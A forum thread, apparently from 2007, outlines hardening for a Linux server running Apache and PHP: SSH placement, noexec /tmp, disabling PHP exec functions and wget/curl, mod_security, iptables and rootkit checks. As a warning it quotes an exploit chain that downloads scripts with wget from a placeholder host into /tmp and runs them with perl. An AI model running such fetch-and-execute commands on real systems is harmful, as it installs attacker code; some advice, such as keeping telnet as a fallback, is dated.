Here's a (very) basic outline for you. You'll need to do some research on each step. This post is specific to a Linux server running Apache and PHP, a very common combination. Servers running ASP or other software will no doubt require other considerations.
Access
Never ever use standard ports or your main IP for shell access, and never use FTP.
Result? Every server requires at least two IP addresses - one for the httpd server that resolves from your web domain, and one for SSH (running on non-standard port). So we have:-
www.example.com A RECORD 123.123.123.123 (httpd binds to this)
.... and one further IP address, with no reverse lookup set in DNS for SSHd and for SSHd only. And not on port 22 - go for a random port > 1024.
What about FTP? What about it indeed. You don't need it if you have SSH - any half decent FTP client can tunnel in over SSH. It's called secure FTP or SFTP. FileZilla will do it.
Secure /tmp
Mount /tmp directories with noexec and nosuid to prevent download/execution.
Note : httpd will still be able to write and execute anywhere the user httpd has privileges. Think it through and make double sure.
Secure PHP
Disable unecessary functions
Common exploits:-
http://www.php.net/manual/en/ref.exec.php
http://www.php.net/manual/en/function.popen.php
This can cause problems for sites that use them. Do one at a time and test.
Disable GCC, WGET and CURL
If you do nothing else, do this. Assuming your site doesn't need them. In fact, here's a really really obvious one - anything your site doesn't need, disable it.
Here's an example of an old ubbthreads hole:-
|
So, we have:-
cd /tmp;
wget www.somesite.com/spybot.txt;
wget www.somesite.com/worm1.txt;
wget www.somesite.com/php.txt;
wget www.somesite.com/ownz.txt;
wget www.somesite.com/zone.txt;
perl spybot.txt;
perl worm1.txt;
perl ownz.txt;
perl php.txt
.... from one single http request. 5 scripts just got executed. If Apache didn't have the ability to use wget, this would have been averted.
Priviledges and Groups
Make priviledge groups or no exec them and regrant on an as and when needed basis.
What are we running and why?
Disable unnecessary servers. PS AX is your friend.
You might consider to leave telnet running in case SSH fails, but only where the co-lo or self-managed hosting co. has no facility for remote KVM in an emergency. Otherwise kill it.
Are we up to date?
Apply patches. That's really easy to do. Absolutely no excuse.
Apache Security
mod_security and mod_rewrite
http://www.modsecurity.org/documentation/index.html
http://httpd.apache.org/docs/mod/mod_rewrite.html
People here often think of mod_rewrite only in terms of SE friendly URL's, but it's actually a fantastic way to hide your network and application topologies. Think about it, I can take a PHP site and make it look like it's running on ASP. That's pretty cool. I could even have Linux Apache Server claim to be a Windows Apache Server. That's pretty cool too.
If you don't mask it, switch it off. Apache defaults to telling the World all about itself. That's bad - edit the httpd.conf file to remove any broadcast of installed modules, version numbers etc etc
Firewalls
You must must must know how to use IPTables. Forget any of the web based interface rubbish. Learn how to work it at the command line. If you can't do that, get a managed server (seriously).
Ground up re-write your IPTables rules. You only have open what you need.
Ongoing
Have we been rooted? You need to do this immediately in view of what you have just experienced.
Root check kits:-
http://www.chkrootkit.org/
http://www.rootkit.nl/
Here's the rub; I just blasted through this in about 10 minutes flat. It requires a lot more thought and implementation, as you probably guessed. If you didn't guess, and you try and read this as a how-to guide, then pack it in and go buy yourself a managed server. If you read through this and go "ahhhh.... OK, I get it" then you have enough to go and do some research, buy a decent book on securing a Linux server and go to it.
From scratch, with no experience, you could learn enough and get the job done in 24 hours, assuming your basic Linux skills are up to scratch.
TJ
<Edit>Fixed Links as per Henry0</Edit>
[edited by: trillianjedi at 1:53 pm (utc) on Mar. 19, 2007]
also if shell access in general is required always use SSH not telnet.
make sure to have a software firewall.
Close as many ports as you can. I have a Linux server with ONLY the following ports open:
22 - SSH for shell and sftp access
25 - SMTP for email
80 - HTTP
443 - HTTPS
995 - SPOP3
if possible make sure to have a proper SSL certificate on your server and check your email securely.
use SFTP through the SSH port 22. there is no need for regular FTP because it sends your password in clear text.